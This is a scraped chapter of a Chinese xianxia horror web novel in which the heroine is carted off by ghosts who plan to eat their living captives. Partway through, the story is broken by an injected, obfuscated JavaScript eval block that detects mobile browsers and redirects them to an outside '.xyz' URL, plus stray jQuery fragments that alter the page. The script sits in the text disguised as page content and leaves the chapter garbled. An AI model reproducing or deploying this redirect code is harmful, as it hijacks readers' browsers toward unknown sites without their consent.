默认冷灰
24号文字
方正启体

11. 怪病(11)

作者:长亦辞宁本书字数:K更新时间:
    死人巡街,单是这个“死”字,就把所有人吓得不轻。


    某些人想叫,但被另外一个人眼疾手快捂住嘴,尖叫声没能泄露出来。


    铜锣声震天动地,似乎有一群“人”跟在身后,“咚咚”几次巨响过后,细碎的呢喃“人”语便传过来。


    “生人勿近,死人巡街。”


    “子时三刻,开市!”


    ……


    直到,夹杂各式各样的声音经过门前,那种古怪,令人汗毛竖起的感觉,愈发强烈。


    众人屏住呼吸。


    红灯笼还是很亮,大门敞开,四方桌不可避免有一面正对屋外,很不幸,周庆喜独自一人坐在正对面,他不安地用指甲抠长凳板底。


    邬鸾维持捂嘴的姿势,能清晰可见对方额头在冒冷汗。


    似乎是看到极为恐怖的场景,瞳孔骤缩,竟剧烈挣扎起来。


    “吱啦”一响后。


    凳子产生偏移,乐曲声也产生偏移。


    在落地的那一瞬间,唢呐、铜锣声停了,然而众人纷纷感受到………


    注视。


    有数万只眼睛,在看着你。


    完了。


    邬鸾只得把手捂得更紧,他用眼神示意某人:“不要出声。”


    周庆喜呜咽着点头,他停顿数秒,用完好无损的左手在帮主胳膊上写道:“我看见它们的眼睛了。”


    因为是右撇子,左手写字并不方便,还要顾及反笔对方看不懂字体的问题,他写的格外磕碜,一笔一画都极度认真,好在最后还是传达出去。


    邬鸾:“它们?”


    周庆喜颤抖着点头,眼眶含泪。他难过会哭、看见人不见了会哭、害怕也会哭。真是个小哭包,也不知道哪来这么多眼泪。


    “对,不是人,不是一个人,他们有头,有尾巴,尾巴上也有眼睛,就好像,就好像……”


    他突然形容不出来。


    因为人不可能了解自己认知之外的东西。


    “怪物。”


    就在谈话间,死寂的小街又活了,铜锣声依旧,咚隆作响,欢声笑语没变,买东西、叫喊声,热热闹闹举行着开市仪式。


    仿佛刚开始停顿、寂静是场错觉,这让众人为之一惊,拿不准对方究竟在想什么。


    那群“死人”途径门外,很快,匆匆踏着脚步离开。


    众人这才闻到腐臭味,像是有几百块禽兽尸体与青草堆叠起来的味道,难闻不说,又让人从心底泛起恶心。


    有人想要呕吐,“咕咚”一声,咽了回去。


    他们发现“人群”越走越远,只是还未等松口气,谈论声变成了——


    “活人进来了,你们闻到味了吗?好香,好美味。”


    “闻到了,闻到了!小李家,是铁匠铺李叔头家里,我们去告诉他开饭,再去请示村长开宴席。”


    “要找人盯住他们吗?别放跑了。”说话那人砸砸嘴巴,口水在唇齿中裹挟,“昨天才来几个活人,今天又来,赚大发了。”


    “不用,反正在幽明界跑不到哪里去,我和老周先把这两位带过去,其他你们自己分。”


    “哎哟,真的吗?张老板发大财啊。”


    ………


    它们抬着东西转过墙角,径直离开了。


    这下子,几个活人总算能从桌子底下抽回来僵硬的像僵尸的腿,以及放下酸疼麻痹的胳膊。


    就是不能呼吸,意欢仙子素手轻点,封住他们的穴道,以免再暴露位置。


    但她抬手愣了一下,眉宇间有片刻不解,紧紧皱着。


    很快,她用传音的方式,点醒众人:“沈姑娘和谢公子不见了。”


    两个大活人说不见就不见,未免太惊悚。


    两人俱是躯壳猛震,不过各自震撼的原因不同,一个是觉得传音新奇,也太酷了一点,一个是往左边看,发觉凳子上空空如也,地上居然有一重叠影。


    先前就是因为影子,没人察觉旁边这两人已经没了。


    那么,如果凳子上没人,四周也没人,请问影子从哪里来呢?


    总不能是地下吧……


    哦,邬鸾皮肉不笑地想了下,还有天上。


    比如,房梁。


    他没敢抬头去看,余光似乎透过屋外红灯笼看见,那些影子不止一两道映在地面,扭曲的身影被拉的很长很长。


    …………


    沈明珠醒来的时候,第一个感觉是晕,头重脚轻,像是被十个壮汉打击报复,胖揍一顿似的。


    这里是个封闭空间,眼睛短时间睁不开,黑暗里适应太久,见到光亮反而觉得刺眼。


    “要是不想被飧呍花吸干精血,就别揉眼睛。”不知从哪儿,一道嗓音淡然道。


    清冷、生脆,略带熟悉,特别是那股竹香,不自觉让人想到,带繁杂花纹的手帕。


    她抿了抿嘴,朝袖口内侧一探,被妥帖放置的手帕还好好躺着。


    出于警惕心理,她并未回应对方,只是点头表达谢意,虽然对方绝对看不见。


    隔了一会儿,那人又徐徐开口:“怎么,觉得我偷了你的东西?”


    这要怎么说?


    沈明珠:……


    其实这手帕也不重要,那个人不过偶尔散发善意,对他人伸出援手,当天也许脑袋抽风了,控制不住手脚,也有可能是性格变换莫测,不然解释不通一会儿善良,一会儿斤斤计较。


    马车“轱辘”往前走,这条阡陌小巷远不如想象中短,


    车轮子撞上石块凸了一下,就好像老天专门要惩罚撬不开嘴的某人。


    “砰”、“咚”。


    “你怎么驾车的,不会驾车我来。”脾气暴躁的那人抢过马鞭,咬牙切齿道:“开市出岔子,你不要命了吗?”


    “路上有石子,我怎么避得开?”另一个委屈巴巴说。


    那人又道:“你避不开就要死,村长难道还听你辩解?几天前小齐被人栽赃陷害,你忘记村长怎么说的吗?”


    它当然记得村长说过什么。


    那几天村子里一下来了很多人,香喷喷的人肉味勾引大家咽口水,村长为了庆贺,说要开百家酒,让小齐好生看管。


    小齐是村长第三个儿子,平常特别听村长的话,可那天他不知怎的,趁夜色浓重,把“柴房”囚禁的人全放走了。


    大家都是看着小齐长大的,怎么会不了解他的个性,所有“人”都在为小齐求情,说定是外乡人蛊惑,这才酿成大错。


    “村长一击毙命,小齐当场就没了。”那人“吐”了一口唾沫,惆怅道:“你以为你是小齐吗?自己儿子说杀就杀,那些人又没跑,刚出柴门就被逮了,就算有错也不能罚魂飞魄散吧。”


    它们说话声音不小,后座这两位待宰“囚徒”正巧全听到了。


    感情是进狼窝,要把两个人拉去吃了。


    不过这个看似严重的问题,眼下谁也察觉不到害怕。


    毕竟,他们太近了,交错而纠缠的鼻息,暴露出两个人只要谁一抬头,仿佛就能碰到不该碰的部位。


    沈明珠不敢动一丁点,因为马车颠簸的时候,她被颠进某个人怀里。手里按压的是对方的手臂,身下压着的是对方双膝。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16514054|186211||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这姿势放山顶上,不小心脚滑也滚不出来的离奇。


    并且,她脑子不笨,面前这人是谁,猜都能猜出来。


    似乎是觉察到某人要张口说话,她先入为主:“对不起。”


    “我不是有意的,都怪车子太颠簸。”


    想要道歉,嗓音越可怜越能博得同情,以前褚仙岛那帮调皮蛋,每每想欺负自己,结果反被欺负,哭着闹着跟婆婆告状。


    小崽子颠倒黑白能力不错,婆婆抄起木条追了整整三条街,从早到晚,愣是在山脚逮到某个变成原形,藏在树洞的珍珠。


    珍珠泪眼婆娑哭了很久,觉得婆婆偏心,还有不辨是非,怎么利用智取欺负坏小孩也要被打。


    婆婆没好气,给她擦药说:“沈明珠,你把别人屁股打开花了。”


    这是真开花,不是假的。


    因为小朋友本体是菊花。


    “婆婆,我没用力,很轻的。”


    “是吗?那我也没用力。”


    都说小孩子喜欢争宠,她很敏锐察觉到婆婆的偏袒,顿时不高兴,问了个终身难忘的问题:“婆婆,菊花九月份开花,我五月份给他打出来,还会开花吗?”


    “……你觉得呢?”


    “我觉得……”她偷偷摸摸下床,边退边回答:“我皮很薄。”


    那天晚上,婆婆气不过,又把刚擦完药的沈明珠胖揍一顿。


    自此,她学会了提前哭。


    谢几度是真谈哭色变,头疼地捂住脑袋,语气颇有点无奈道:“我又没用狠话说你,怎么哭了?”


    “不知道的还以为我欺负你了。”


    你不就是欺负我了吗?真以为前面说的话本姑娘记不到?


    哪家好人说人都死了你还笑?哪家好人看不出别人尴尬?


    那怕心里暴跳如雷,表面还是要和善,免得又被人抓住把柄:“我就是,想哭。”


    “而且我觉得你不喜欢别人趴在你身上,这种行为很不礼貌。”


    说完,她借着墙壁力道,撑坐回原地,语气丧丧地说:“我起来了,你看,我没碰到你。”


    这种极力想撇清关系,仿佛把人当猛兽或者肮脏的东西的行为,比刻薄的话还令人感到不适。


    尽管小姑娘刻意装乖,眼泪也是真掉出来,所带来的侮辱性伤害还是很大。


    她主要是害怕谢几度那张嘴,刁钻到要命,生怕不把人毒死不罢休。


    放褚仙岛,这种人她一扇一个巴掌,反正大家都打不死,没了妖力,妖体完好无损啊,当天打完第二天活蹦乱跳还能再打一次。


    但凡人哪能经历挨打,死了伤了,到时候头疼的可是她,别忘了仙界之人博爱,被意欢仙子知道,她妖族身份不保,妖命也不保。


    谢几度不知道怎的,听到这几句输出,兀自沉默起来。像是听自闭,马车也在这场沉默中停下。


    门板卸下,光亮便丝丝缕缕透进来,沈明珠不适地紧闭双眼,准备等光晕劲过去再下车,当然不可能走下去,说压比较稳妥。


    却没想到谢几度把衣衫往上一抬,他鲜少的停顿道:“我没觉得你不礼貌,你可以……”


    “还有,别流眼泪了,我给你的手帕可以反复用,不需要还给我。”


    我可以干嘛?


    直到被两只没脚的鬼压下车,左拐右拐,在一处鬼气森森,看起来像私人住处的茅草屋门前停下,一群没有脚的鬼回头盯着的时候。


    沈明珠被憋炸了。


    拜托,你就告诉我,我能干啥吧!!


    多说几句要你命吗?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)